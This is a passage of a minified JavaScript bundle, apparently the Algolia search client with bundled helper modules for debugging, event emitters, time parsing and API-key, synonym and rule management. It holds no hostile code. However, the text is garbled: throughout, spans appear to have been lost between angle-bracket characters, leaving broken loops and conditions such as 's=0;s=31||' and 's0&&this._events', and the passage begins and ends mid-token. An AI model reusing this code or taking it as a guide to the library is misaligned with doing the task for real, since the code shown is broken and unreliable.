t,n;return{send:function(i,o){t=w(""),window.ALGOLIA_SUPPORTS_DOCWRITE===!0?(document.write(''),n("document.write")()):r(o,n("DOMElement"))}catch(s){r(o,n("DOMElement"))}}function n(e){return function(){var t="AlgoliaSearch: loaded V2 script using "+e;window.console&&window.console.log&&window.console.log(t)}}t.exports=o},{1:1}],4:[function(e,t,r){"use strict";function o(){var e="-- AlgoliaSearch V2 => V3 error --\nYou are trying to use a new version of the AlgoliaSearch JavaScript client with an old notation.\nPlease read our migration guide at https://github.com/algolia/algoliasearch-client-js/wiki/Migration-guide-from-2.x.x-to-3.x.x\n-- /AlgoliaSearch V2 => V3 error --";window.AlgoliaSearch=function(){throw new Error(e)},window.AlgoliaSearchHelper=function(){throw new Error(e)},window.AlgoliaExplainResults=function(){throw new Error(e)}}t.exports=o},{}],5:[function(e,t,r){"use strict";function o(t){var r=e(2),o=e(3),n=e(4);r(t)?o(t):n()}o("algoliasearch")},{2:2,3:3,4:4}]},{},[5])(5)}),function(e){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{var t;t="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this,t.algoliasearch=e()}}(function(){var e;return function t(e,r,o){function n(s,a){if(!r[s]){if(!e[s]){var c="function"==typeof require&&require;if(!a&&c)return c(s,!0);if(i)return i(s,!0);var u=new Error("Cannot find module '"+s+"'");throw u.code="MODULE_NOT_FOUND",u}var l=r[s]={exports:{}};e[s][0].call(l.exports,function(t){var r=e[s][1][t];return n(r?r:t)},l,l.exports,t,e,r,o)}return r[s].exports}for(var i="function"==typeof require&&require,s=0;s=31||"undefined"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/))}function i(e){var t=this.useColors;if(e[0]=(t?"%c":"")+this.namespace+(t?" %c":" ")+e[0]+(t?"%c ":" ")+"+"+r.humanize(this.diff),t){var o="color: "+this.color;e.splice(1,0,o,"color: inherit");var n=0,i=0;e[0].replace(/%[a-zA-Z%]/g,function(e){"%%"!==e&&(n++,"%c"===e&&(i=n))}),e.splice(i,0,o)}}function s(){return"object"==typeof console&&console.log&&Function.prototype.apply.call(console.log,console,arguments)}function a(e){try{null==e?r.storage.removeItem("debug"):r.storage.debug=e}catch(t){}}function c(){var e;try{e=r.storage.debug}catch(t){}return!e&&"undefined"!=typeof o&&"env"in o&&(e=o.env.DEBUG),e}function u(){try{return window.localStorage}catch(e){}}r=t.exports=e(2),r.log=s,r.formatArgs=i,r.save=a,r.load=c,r.useColors=n,r.storage="undefined"!=typeof chrome&&"undefined"!=typeof chrome.storage?chrome.storage.local:u(),r.colors=["lightseagreen","forestgreen","goldenrod","dodgerblue","darkorchid","crimson"],r.formatters.j=function(e){try{return JSON.stringify(e)}catch(t){return"[UnexpectedJSONParseError]: "+t.message}},r.enable(c())}).call(this,e(12))},{12:12,2:2}],2:[function(e,t,r){function o(e){var t,o=0;for(t in e)o=(o<<5)-o+e.charCodeAt(t),o|=0;return r.colors[Math.abs(o)%r.colors.length]}function n(e){function t(){if(t.enabled){var e=t,o=+new Date,n=o-(u||o);e.diff=n,e.prev=u,e.curr=o,u=o;for(var i=new Array(arguments.length),s=0;s0&&this._events[e].length>r&&(this._events[e].warned=!0,console.error("(node) warning: possible EventEmitter memory leak detected. %d listeners added. Use emitter.setMaxListeners() to increase limit.",this._events[e].length),"function"==typeof console.trace&&console.trace())),this},o.prototype.on=o.prototype.addListener,o.prototype.once=function(e,t){function r(){this.removeListener(e,r),o||(o=!0,t.apply(this,arguments))}if(!n(t))throw TypeError("listener must be a function");var o=!1;return r.listener=t,this.on(e,r),this},o.prototype.removeListener=function(e,t){var r,o,i,a;if(!n(t))throw TypeError("listener must be a function");if(!this._events||!this._events[e])return this;if(r=this._events[e],i=r.length,o=-1,r===t||n(r.listener)&&r.listener===t)delete this._events[e],this._events.removeListener&&this.emit("removeListener",e,t);else if(s(r)){for(a=i;a-- >0;)if(r[a]===t||r[a].listener&&r[a].listener===t){o=a;break}if(o<0)return this;1===r.length?(r.length=0,delete this._events[e]):r.splice(o,1),this._events.removeListener&&this.emit("removeListener",e,t)}return this},o.prototype.removeAllListeners=function(e){var t,r;if(!this._events)return this;if(!this._events.removeListener)return 0===arguments.length?this._events={}:this._events[e]&&delete this._events[e],this;if(0===arguments.length){for(t in this._events)"removeListener"!==t&&this.removeAllListeners(t);return this.removeAllListeners("removeListener"),this._events={},this}if(r=this._events[e],n(r))this.removeListener(e,r);else if(r)for(;r.length;)this.removeListener(e,r[r.length-1]);return delete this._events[e],this},o.prototype.listeners=function(e){var t;return t=this._events&&this._events[e]?n(this._events[e])?[this._events[e]]:this._events[e].slice():[]},o.prototype.listenerCount=function(e){if(this._events){var t=this._events[e];if(n(t))return 1;if(t)return t.length}return 0},o.listenerCount=function(e,t){return e.listenerCount(t)}},{}],5:[function(e,t,r){var o=Object.prototype.hasOwnProperty,n=Object.prototype.toString;t.exports=function(e,t,r){if("[object Function]"!==n.call(t))throw new TypeError("iterator must be a function");var i=e.length;if(i===+i)for(var s=0;s100)){var t=/^((?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$/i.exec(e);if(t){var r=parseFloat(t[1]),o=(t[2]||"ms").toLowerCase();switch(o){case"years":case"year":case"yrs":case"yr":case"y":return r*p;case"days":case"day":case"d":return r*l;case"hours":case"hour":case"hrs":case"hr":case"h":return r*u;case"minutes":case"minute":case"mins":case"min":case"m":return r*c;case"seconds":case"second":case"secs":case"sec":case"s":return r*a;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return r;default:return}}}}function n(e){return e>=l?Math.round(e/l)+"d":e>=u?Math.round(e/u)+"h":e>=c?Math.round(e/c)+"m":e>=a?Math.round(e/a)+"s":e+"ms"}function i(e){return s(e,l,"day")||s(e,u,"hour")||s(e,c,"minute")||s(e,a,"second")||e+" ms"}function s(e,t,r){if(!(e0)return o(e);if("number"===r&&isNaN(e)===!1)return t["long"]?i(e):n(e);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(e))}},{}],10:[function(e,t,r){"use strict";var o=Object.prototype.hasOwnProperty,n=Object.prototype.toString,i=Array.prototype.slice,s=e(11),a=Object.prototype.propertyIsEnumerable,c=!a.call({toString:null},"toString"),u=a.call(function(){},"prototype"),l=["toString","toLocaleString","valueOf","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","constructor"],p=function(e){var t=e.constructor;return t&&t.prototype===e},d={$console:!0,$external:!0,$frame:!0,$frameElement:!0,$frames:!0,$innerHeight:!0,$innerWidth:!0,$outerHeight:!0,$outerWidth:!0,$pageXOffset:!0,$pageYOffset:!0,$parent:!0,$scrollLeft:!0,$scrollTop:!0,$scrollX:!0,$scrollY:!0,$self:!0,$webkitIndexedDB:!0,$webkitStorageInfo:!0,$window:!0},h=function(){if("undefined"==typeof window)return!1;for(var e in window)try{if(!d["$"+e]&&o.call(window,e)&&null!==window[e]&&"object"==typeof window[e])try{p(window[e])}catch(t){return!0}}catch(t){return!0}return!1}(),f=function(e){if("undefined"==typeof window||!h)return p(e);try{return p(e)}catch(t){return!1}},y=function(e){var t=null!==e&&"object"==typeof e,r="[object Function]"===n.call(e),i=s(e),a=t&&"[object String]"===n.call(e),p=[];if(!t&&!r&&!i)throw new TypeError("Object.keys called on a non-object");var d=u&&r;if(a&&e.length>0&&!o.call(e,0))for(var h=0;h0)for(var y=0;y=0&&"[object Function]"===o.call(e.callee)),r}},{}],12:[function(e,t,r){function o(){throw new Error("setTimeout has not been defined")}function n(){throw new Error("clearTimeout has not been defined")}function i(e){if(p===setTimeout)return setTimeout(e,0);if((p===o||!p)&&setTimeout)return p=setTimeout,setTimeout(e,0);try{return p(e,0)}catch(t){try{return p.call(null,e,0)}catch(t){return p.call(this,e,0)}}}function s(e){if(d===clearTimeout)return clearTimeout(e);if((d===n||!d)&&clearTimeout)return d=clearTimeout,clearTimeout(e);try{return d(e)}catch(t){try{return d.call(null,e)}catch(t){return d.call(this,e)}}}function a(){m&&f&&(m=!1,f.length?y=f.concat(y):v=-1,y.length&&c())}function c(){if(!m){var e=i(a);m=!0;for(var t=y.length;t;){for(f=y,y=[];++v1)for(var r=1;r0)n.scope=r;else if("undefined"!=typeof r)throw new Error("the scope given to `copyIndex` was not an array with settings, synonyms or rules");return this._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(e)+"/operation",body:n,hostType:"write",callback:i})},o.prototype.getLogs=function(t,r,o){var n=e(24),i={};return"object"==typeof t?(i=n(t),o=r):0===arguments.length||"function"==typeof t?o=t:1===arguments.length||"function"==typeof r?(o=r,i.offset=t):(i.offset=t,i.length=r),void 0===i.offset&&(i.offset=0),void 0===i.length&&(i.length=10),this._jsonRequest({method:"GET",url:"/1/logs?"+this._getSearchParams(i,""),hostType:"read",callback:o})},o.prototype.listIndexes=function(e,t){var r="";return void 0===e||"function"==typeof e?t=e:r="?page="+e,this._jsonRequest({method:"GET",url:"/1/indexes"+r,hostType:"read",callback:t})},o.prototype.initIndex=function(e){return new i(this,e)},o.prototype.initAnalytics=function(t){var r=e(25);return r(this.applicationID,this.apiKey,t)},o.prototype.listUserKeys=s(function(e){return this.listApiKeys(e)},a("client.listUserKeys()","client.listApiKeys()")),o.prototype.listApiKeys=function(e){return this._jsonRequest({method:"GET",url:"/1/keys",hostType:"read",callback:e})},o.prototype.getUserKeyACL=s(function(e,t){return this.getApiKey(e,t)},a("client.getUserKeyACL()","client.getApiKey()")),o.prototype.getApiKey=function(e,t){return this._jsonRequest({method:"GET",url:"/1/keys/"+e,hostType:"read",callback:t})},o.prototype.deleteUserKey=s(function(e,t){return this.deleteApiKey(e,t)},a("client.deleteUserKey()","client.deleteApiKey()")),o.prototype.deleteApiKey=function(e,t){return this._jsonRequest({method:"DELETE",url:"/1/keys/"+e,hostType:"write",callback:t})},o.prototype.addUserKey=s(function(e,t,r){return this.addApiKey(e,t,r)},a("client.addUserKey()","client.addApiKey()")),o.prototype.addApiKey=function(t,r,o){var n=e(8),i="Usage: client.addApiKey(arrayOfAcls[, params, callback])";if(!n(t))throw new Error(i);1!==arguments.length&&"function"!=typeof r||(o=r,r=null);var s={acl:t};return r&&(s.validity=r.validity,s.maxQueriesPerIPPerHour=r.maxQueriesPerIPPerHour,s.maxHitsPerQuery=r.maxHitsPerQuery,s.indexes=r.indexes,s.description=r.description,r.queryParameters&&(s.queryParameters=this._getSearchParams(r.queryParameters,"")),s.referers=r.referers),this._jsonRequest({method:"POST",url:"/1/keys",body:s,hostType:"write",callback:o})},o.prototype.addUserKeyWithValidity=s(function(e,t,r){return this.addApiKey(e,t,r)},a("client.addUserKeyWithValidity()","client.addApiKey()")),o.prototype.updateUserKey=s(function(e,t,r,o){return this.updateApiKey(e,t,r,o)},a("client.updateUserKey()","client.updateApiKey()")),o.prototype.updateApiKey=function(t,r,o,n){var i=e(8),s="Usage: client.updateApiKey(key, arrayOfAcls[, params, callback])";if(!i(r))throw new Error(s);2!==arguments.length&&"function"!=typeof o||(n=o,o=null);var a={acl:r};return o&&(a.validity=o.validity,a.maxQueriesPerIPPerHour=o.maxQueriesPerIPPerHour,a.maxHitsPerQuery=o.maxHitsPerQuery,a.indexes=o.indexes,a.description=o.description,o.queryParameters&&(a.queryParameters=this._getSearchParams(o.queryParameters,"")),a.referers=o.referers),this._jsonRequest({method:"PUT",url:"/1/keys/"+t,body:a,hostType:"write",callback:n})},o.prototype.startQueriesBatch=s(function(){this._batch=[]},a("client.startQueriesBatch()","client.search()")),o.prototype.addQueryInBatch=s(function(e,t,r){this._batch.push({indexName:e,query:t,params:r})},a("client.addQueryInBatch()","client.search()")),o.prototype.sendQueriesBatch=s(function(e){return this.search(this._batch,e)},a("client.sendQueriesBatch()","client.search()")),o.prototype.batch=function(t,r){var o=e(8),n="Usage: client.batch(operations[, callback])";if(!o(t))throw new Error(n);return this._jsonRequest({method:"POST",url:"/1/indexes/*/batch",body:{requests:t},hostType:"write",callback:r})},o.prototype.assignUserID=function(e,t){if(!e.userID||!e.cluster)throw new l.AlgoliaSearchError("You have to provide both a userID and cluster",e);return this._jsonRequest({method:"POST",url:"/1/clusters/mapping",hostType:"write",body:{cluster:e.cluster},callback:t,headers:{"x-algolia-user-id":e.userID}})},o.prototype.getTopUserID=function(e){return this._jsonRequest({method:"GET",url:"/1/clusters/mapping/top",hostType:"read",callback:e})},o.prototype.getUserID=function(e,t){if(!e.userID)throw new l.AlgoliaSearchError("You have to provide a userID",{debugData:e});return this._jsonRequest({method:"GET",url:"/1/clusters/mapping/"+e.userID,hostType:"read",callback:t})},o.prototype.listClusters=function(e){return this._jsonRequest({method:"GET",url:"/1/clusters",hostType:"read",callback:e})},o.prototype.listUserIDs=function(e,t){return this._jsonRequest({method:"GET",url:"/1/clusters/mapping",body:e,hostType:"read",callback:t})},o.prototype.removeUserID=function(e,t){if(!e.userID)throw new l.AlgoliaSearchError("You have to provide a userID",{debugData:e});return this._jsonRequest({method:"DELETE",url:"/1/clusters/mapping",hostType:"write",callback:t,headers:{"x-algolia-user-id":e.userID}})},o.prototype.searchUserIDs=function(e,t){return this._jsonRequest({method:"POST",url:"/1/clusters/mapping/search",body:e,hostType:"read",callback:t})},o.prototype.destroy=n,o.prototype.enableRateLimitForward=n,o.prototype.disableRateLimitForward=n,o.prototype.useSecuredAPIKey=n,o.prototype.disableSecuredAPIKey=n,o.prototype.generateSecuredApiKey=n},{15:15,16:16,24:24,25:25,26:26,27:27,28:28,7:7,8:8}],15:[function(e,t,r){(function(r){function o(t,r,o){var i=e(1)("algoliasearch"),s=e(24),a=e(8),u=e(30),l="Usage: algoliasearch(applicationID, apiKey, opts)";if(o._allowEmptyCredentials!==!0&&!t)throw new c.AlgoliaSearchError("Please provide an application ID. "+l);if(o._allowEmptyCredentials!==!0&&!r)throw new c.AlgoliaSearchError("Please provide an API key. "+l);this.applicationID=t,this.apiKey=r,this.hosts={read:[],write:[]},o=o||{},this._timeouts=o.timeouts||{connect:1e3,read:2e3,write:3e4},o.timeout&&(this._timeouts.connect=this._timeouts.read=this._timeouts.write=o.timeout);var p=o.protocol||"https:";if(/:$/.test(p)||(p+=":"),"http:"!==p&&"https:"!==p)throw new c.AlgoliaSearchError("protocol must be `http:` or `https:` (was `"+o.protocol+"`)");if(this._checkAppIdData(),o.hosts)a(o.hosts)?(this.hosts.read=s(o.hosts),this.hosts.write=s(o.hosts)):(this.hosts.read=s(o.hosts.read),this.hosts.write=s(o.hosts.write));else{var d=u(this._shuffleResult,function(e){return t+"-"+e+".algolianet.com"}),h=(o.dsn===!1?"":"-dsn")+".algolia.net";this.hosts.read=[this.applicationID+h].concat(d),this.hosts.write=[this.applicationID+".algolia.net"].concat(d)}this.hosts.read=u(this.hosts.read,n(p)),this.hosts.write=u(this.hosts.write,n(p)),this.extraHeaders={},this.cache=o._cache||{},this._ua=o._ua,this._useCache=!(void 0!==o._useCache&&!o._cache)||o._useCache,this._useRequestCache=this._useCache&&o._useRequestCache,this._useFallback=void 0===o.useFallback||o.useFallback,this._setTimeout=o._setTimeout,i("init done, %j",this)}function n(e){return function(t){return e+"//"+t.toLowerCase(); -}}function i(e){if(void 0===Array.prototype.toJSON)return JSON.stringify(e);var t=Array.prototype.toJSON;delete Array.prototype.toJSON;var r=JSON.stringify(e);return Array.prototype.toJSON=t,r}function s(e){for(var t,r,o=e.length;0!==o;)r=Math.floor(Math.random()*o),o-=1,t=e[o],e[o]=e[r],e[r]=t;return e}function a(e){var t={};for(var r in e)if(Object.prototype.hasOwnProperty.call(e,r)){var o;o="x-algolia-api-key"===r||"x-algolia-application-id"===r?"**hidden for security purposes**":e[r],t[r]=o}return t}t.exports=o;var c=e(28),u=e(29),l=e(18),p=e(34),d=500,h=r.env.RESET_APP_DATA_TIMER&&parseInt(r.env.RESET_APP_DATA_TIMER,10)||12e4;o.prototype.initIndex=function(e){return new l(this,e)},o.prototype.setExtraHeader=function(e,t){this.extraHeaders[e.toLowerCase()]=t},o.prototype.getExtraHeader=function(e){return this.extraHeaders[e.toLowerCase()]},o.prototype.unsetExtraHeader=function(e){delete this.extraHeaders[e.toLowerCase()]},o.prototype.addAlgoliaAgent=function(e){this._ua.indexOf(";"+e)===-1&&(this._ua+=";"+e)},o.prototype._jsonRequest=function(t){function r(e,n){function u(e){var t=e&&e.body&&e.body.message&&e.body.status||e.statusCode||e&&e.body&&200;h("received response: statusCode: %s, computed statusCode: %d, headers: %j",e.statusCode,t,e.headers);var r=2===Math.floor(t/100),o=new Date;if(w.push({currentHost:A,headers:a(p),content:s||null,contentLength:void 0!==s?s.length:null,method:n.method,timeouts:n.timeouts,url:n.url,startTime:x,endTime:o,duration:o-x,statusCode:t}),r)return m._useCache&&!m._useRequestCache&&y&&(y[l]=e.responseText),{responseText:e.responseText,body:e.body};var i=4!==Math.floor(t/100);if(i)return v+=1,_();h("unrecoverable error");var u=new c.AlgoliaSearchError(e.body&&e.body.message,{debugData:w,statusCode:t});return m._promise.reject(u)}function d(e){h("error: %s, stack: %s",e.message,e.stack);var r=new Date;return w.push({currentHost:A,headers:a(p),content:s||null,contentLength:void 0!==s?s.length:null,method:n.method,timeouts:n.timeouts,url:n.url,startTime:x,endTime:r,duration:r-x}),e instanceof c.AlgoliaSearchError||(e=new c.Unknown(e&&e.message,e)),v+=1,e instanceof c.Unknown||e instanceof c.UnparsableJSON||v>=m.hosts[t.hostType].length&&(g||!b)?(e.debugData=w,m._promise.reject(e)):e instanceof c.RequestTimeout?T():_()}function _(){return h("retrying request"),m._incrementHostIndex(t.hostType),r(e,n)}function T(){return h("retrying request with higher timeout"),m._incrementHostIndex(t.hostType),m._incrementTimeoutMultipler(),n.timeouts=m._getTimeoutsForRequest(t.hostType),r(e,n)}m._checkAppIdData();var x=new Date;if(m._useCache&&!m._useRequestCache&&(l=t.url),m._useCache&&!m._useRequestCache&&s&&(l+="_body_"+n.body),o(!m._useRequestCache,y,l)){h("serving response from cache");var R=y[l];return m._promise.resolve({body:JSON.parse(R),responseText:R})}if(v>=m.hosts[t.hostType].length)return!b||g?(h("could not get any response"),m._promise.reject(new c.AlgoliaSearchError("Cannot connect to the AlgoliaSearch API. Send an email to support@algolia.com to report and resolve the issue. Application id was: "+m.applicationID,{debugData:w}))):(h("switching to fallback"),v=0,n.method=t.fallback.method,n.url=t.fallback.url,n.jsonBody=t.fallback.body,n.jsonBody&&(n.body=i(n.jsonBody)),p=m._computeRequestHeaders({additionalUA:f,headers:t.headers}),n.timeouts=m._getTimeoutsForRequest(t.hostType),m._setHostIndexByType(0,t.hostType),g=!0,r(m._request.fallback,n));var A=m._getHostByType(t.hostType),j=A+n.url,S={body:n.body,jsonBody:n.jsonBody,method:n.method,headers:p,timeouts:n.timeouts,debug:h,forceAuthHeaders:n.forceAuthHeaders};return h("method: %s, url: %s, headers: %j, timeouts: %d",S.method,j,S.headers,S.timeouts),e===m._request.fallback&&h("using fallback"),e.call(m,j,S).then(u,d)}function o(e,t,r){return m._useCache&&e&&t&&void 0!==t[r]}function n(e,r){return o(m._useRequestCache,y,l)&&e["catch"](function(){delete y[l]}),"function"!=typeof t.callback?e.then(r):void e.then(function(e){u(function(){t.callback(null,r(e))},m._setTimeout||setTimeout)},function(e){u(function(){t.callback(e)},m._setTimeout||setTimeout)})}this._checkAppIdData();var s,l,p,h=e(1)("algoliasearch:"+t.url),f=t.additionalUA||"",y=t.cache,m=this,v=0,g=!1,b=m._useFallback&&m._request.fallback&&t.fallback;this.apiKey.length>d&&void 0!==t.body&&(void 0!==t.body.params||void 0!==t.body.requests)?(t.body.apiKey=this.apiKey,p=this._computeRequestHeaders({additionalUA:f,withApiKey:!1,headers:t.headers})):p=this._computeRequestHeaders({additionalUA:f,headers:t.headers}),void 0!==t.body&&(s=i(t.body)),h("request start");var w=[];if(m._useCache&&m._useRequestCache&&(l=t.url),m._useCache&&m._useRequestCache&&s&&(l+="_body_"+s),o(m._useRequestCache,y,l)){h("serving request from cache");var _=y[l],T="function"!=typeof _.then?m._promise.resolve({responseText:_}):_;return n(T,function(e){return JSON.parse(e.responseText)})}var x=r(m._request,{url:t.url,method:t.method,body:s,jsonBody:t.body,timeouts:m._getTimeoutsForRequest(t.hostType),forceAuthHeaders:t.forceAuthHeaders});return m._useCache&&m._useRequestCache&&y&&(y[l]=x),n(x,function(e){return e.body})},o.prototype._getSearchParams=function(e,t){if(void 0===e||null===e)return t;for(var r in e)null!==r&&void 0!==e[r]&&e.hasOwnProperty(r)&&(t+=""===t?"":"&",t+=r+"="+encodeURIComponent("[object Array]"===Object.prototype.toString.call(e[r])?i(e[r]):e[r]));return t},o.prototype._computeRequestHeaders=function(t){var r=e(5),o=t.additionalUA?this._ua+";"+t.additionalUA:this._ua,n={"x-algolia-agent":o,"x-algolia-application-id":this.applicationID};return t.withApiKey!==!1&&(n["x-algolia-api-key"]=this.apiKey),this.userToken&&(n["x-algolia-usertoken"]=this.userToken),this.securityTags&&(n["x-algolia-tagfilters"]=this.securityTags),r(this.extraHeaders,function(e,t){n[t]=e}),t.headers&&r(t.headers,function(e,t){n[t]=e}),n},o.prototype.search=function(t,r,o){var n=e(8),i=e(30),s="Usage: client.search(arrayOfQueries[, callback])";if(!n(t))throw new Error(s);"function"==typeof r?(o=r,r={}):void 0===r&&(r={});var a=this,c={requests:i(t,function(e){var t="";return void 0!==e.query&&(t+="query="+encodeURIComponent(e.query)),{indexName:e.indexName,params:a._getSearchParams(e.params,t)}})},u=i(c.requests,function(e,t){return t+"="+encodeURIComponent("/1/indexes/"+encodeURIComponent(e.indexName)+"?"+e.params)}).join("&"),l="/1/indexes/*/queries";return void 0!==r.strategy&&(c.strategy=r.strategy),this._jsonRequest({cache:this.cache,method:"POST",url:l,body:c,hostType:"read",fallback:{method:"GET",url:"/1/indexes/*",body:{params:u}},callback:o})},o.prototype.searchForFacetValues=function(t){var r=e(8),o=e(30),n="Usage: client.searchForFacetValues([{indexName, params: {facetName, facetQuery, ...params}}, ...queries])";if(!r(t))throw new Error(n);var i=this;return i._promise.all(o(t,function(t){if(!t||void 0===t.indexName||void 0===t.params.facetName||void 0===t.params.facetQuery)throw new Error(n);var r=e(24),o=e(32),s=t.indexName,a=t.params,c=a.facetName,u=o(r(a),function(e){return"facetName"===e}),l=i._getSearchParams(u,"");return i._jsonRequest({cache:i.cache,method:"POST",url:"/1/indexes/"+encodeURIComponent(s)+"/facets/"+encodeURIComponent(c)+"/query",hostType:"read",body:{params:l}})}))},o.prototype.setSecurityTags=function(e){if("[object Array]"===Object.prototype.toString.call(e)){for(var t=[],r=0;rh?this._resetInitialAppIdData(e):e},o.prototype._resetInitialAppIdData=function(e){var t=e||{};return t.hostIndexes={read:0,write:0},t.timeoutMultiplier=1,t.shuffleResult=t.shuffleResult||s([1,2,3]),this._setAppIdData(t)},o.prototype._cacheAppIdData=function(e){this._hostIndexes=e.hostIndexes,this._timeoutMultiplier=e.timeoutMultiplier,this._shuffleResult=e.shuffleResult},o.prototype._partialAppIdDataUpdate=function(t){var r=e(5),o=this._getAppIdData();return r(t,function(e,t){o[t]=e}),this._setAppIdData(o)},o.prototype._getHostByType=function(e){return this.hosts[e][this._getHostIndexByType(e)]},o.prototype._getTimeoutMultiplier=function(){return this._timeoutMultiplier},o.prototype._getHostIndexByType=function(e){return this._hostIndexes[e]},o.prototype._setHostIndexByType=function(t,r){var o=e(24),n=o(this._hostIndexes);return n[r]=t,this._partialAppIdDataUpdate({hostIndexes:n}),t},o.prototype._incrementHostIndex=function(e){return this._setHostIndexByType((this._getHostIndexByType(e)+1)%this.hosts[e].length,e)},o.prototype._incrementTimeoutMultipler=function(){var e=Math.max(this._timeoutMultiplier+1,4);return this._partialAppIdDataUpdate({timeoutMultiplier:e})},o.prototype._getTimeoutsForRequest=function(e){return{connect:this._timeouts.connect*this._timeoutMultiplier,complete:this._timeouts[e]*this._timeoutMultiplier}}}).call(this,e(12))},{1:1,12:12,18:18,24:24,28:28,29:29,30:30,32:32,34:34,5:5,8:8}],16:[function(e,t,r){function o(){s.apply(this,arguments)}function n(e,t,r){function o(r,n){var i={page:r||0,hitsPerPage:t||100},s=n||[];return e(i).then(function(e){var t=e.hits,r=e.nbHits,n=t.map(function(e){return delete e._highlightResult,e}),a=s.concat(n);return a.lengths&&(t=s),"published"!==e.status?l._promise.delay(t).then(r):e})}function o(e){u(function(){t(null,e)},l._setTimeout||setTimeout)}function n(e){u(function(){t(e)},l._setTimeout||setTimeout)}var i=100,s=5e3,a=0,c=this,l=c.as,p=r();return t?void p.then(o,n):p},o.prototype.clearIndex=function(e){var t=this;return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(t.indexName)+"/clear",hostType:"write",callback:e})},o.prototype.getSettings=function(e,t){1===arguments.length&&"function"==typeof e&&(t=e,e={}),e=e||{};var r=encodeURIComponent(this.indexName);return this.as._jsonRequest({method:"GET",url:"/1/indexes/"+r+"/settings?getVersion=2"+(e.advanced?"&advanced="+e.advanced:""),hostType:"read",callback:t})},o.prototype.searchSynonyms=function(e,t){return"function"==typeof e?(t=e,e={}):void 0===e&&(e={}),this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/synonyms/search",body:e,hostType:"read",callback:t})},o.prototype.exportSynonyms=function(e,t){return n(this.searchSynonyms.bind(this),e,t)},o.prototype.saveSynonym=function(e,t,r){"function"==typeof t?(r=t,t={}):void 0===t&&(t={}),void 0!==t.forwardToSlaves&&p();var o=t.forwardToSlaves||t.forwardToReplicas?"true":"false";return this.as._jsonRequest({method:"PUT",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/synonyms/"+encodeURIComponent(e.objectID)+"?forwardToReplicas="+o,body:e,hostType:"write",callback:r})},o.prototype.getSynonym=function(e,t){return this.as._jsonRequest({method:"GET",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/synonyms/"+encodeURIComponent(e),hostType:"read",callback:t})},o.prototype.deleteSynonym=function(e,t,r){"function"==typeof t?(r=t,t={}):void 0===t&&(t={}),void 0!==t.forwardToSlaves&&p();var o=t.forwardToSlaves||t.forwardToReplicas?"true":"false";return this.as._jsonRequest({method:"DELETE",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/synonyms/"+encodeURIComponent(e)+"?forwardToReplicas="+o,hostType:"write",callback:r})},o.prototype.clearSynonyms=function(e,t){"function"==typeof e?(t=e,e={}):void 0===e&&(e={}),void 0!==e.forwardToSlaves&&p();var r=e.forwardToSlaves||e.forwardToReplicas?"true":"false";return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/synonyms/clear?forwardToReplicas="+r,hostType:"write",callback:t})},o.prototype.batchSynonyms=function(e,t,r){"function"==typeof t?(r=t,t={}):void 0===t&&(t={}),void 0!==t.forwardToSlaves&&p();var o=t.forwardToSlaves||t.forwardToReplicas?"true":"false";return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/synonyms/batch?forwardToReplicas="+o+"&replaceExistingSynonyms="+(t.replaceExistingSynonyms?"true":"false"),hostType:"write",body:e,callback:r})},o.prototype.searchRules=function(e,t){return"function"==typeof e?(t=e,e={}):void 0===e&&(e={}),this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/rules/search",body:e,hostType:"read",callback:t})},o.prototype.exportRules=function(e,t){return n(this.searchRules.bind(this),e,t)},o.prototype.saveRule=function(e,t,r){if("function"==typeof t?(r=t,t={}):void 0===t&&(t={}),!e.objectID)throw new l.AlgoliaSearchError("Missing or empty objectID field for rule");var o=t.forwardToReplicas===!0?"true":"false";return this.as._jsonRequest({method:"PUT",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/rules/"+encodeURIComponent(e.objectID)+"?forwardToReplicas="+o,body:e,hostType:"write",callback:r})},o.prototype.getRule=function(e,t){return this.as._jsonRequest({method:"GET",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/rules/"+encodeURIComponent(e),hostType:"read",callback:t})},o.prototype.deleteRule=function(e,t,r){"function"==typeof t?(r=t,t={}):void 0===t&&(t={});var o=t.forwardToReplicas===!0?"true":"false";return this.as._jsonRequest({method:"DELETE",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/rules/"+encodeURIComponent(e)+"?forwardToReplicas="+o,hostType:"write",callback:r})},o.prototype.clearRules=function(e,t){"function"==typeof e?(t=e,e={}):void 0===e&&(e={});var r=e.forwardToReplicas===!0?"true":"false";return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/rules/clear?forwardToReplicas="+r,hostType:"write",callback:t})},o.prototype.batchRules=function(e,t,r){"function"==typeof t?(r=t,t={}):void 0===t&&(t={});var o=t.forwardToReplicas===!0?"true":"false";return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/rules/batch?forwardToReplicas="+o+"&clearExistingRules="+(t.clearExistingRules===!0?"true":"false"),hostType:"write",body:e,callback:r})},o.prototype.setSettings=function(e,t,r){1!==arguments.length&&"function"!=typeof t||(r=t,t={}),void 0!==t.forwardToSlaves&&p();var o=t.forwardToSlaves||t.forwardToReplicas?"true":"false",n=this;return this.as._jsonRequest({method:"PUT",url:"/1/indexes/"+encodeURIComponent(n.indexName)+"/settings?forwardToReplicas="+o,hostType:"write",body:e,callback:r})},o.prototype.listUserKeys=a(function(e){return this.listApiKeys(e)},c("index.listUserKeys()","client.listApiKeys()")),o.prototype.listApiKeys=a(function(e){var t=this;return 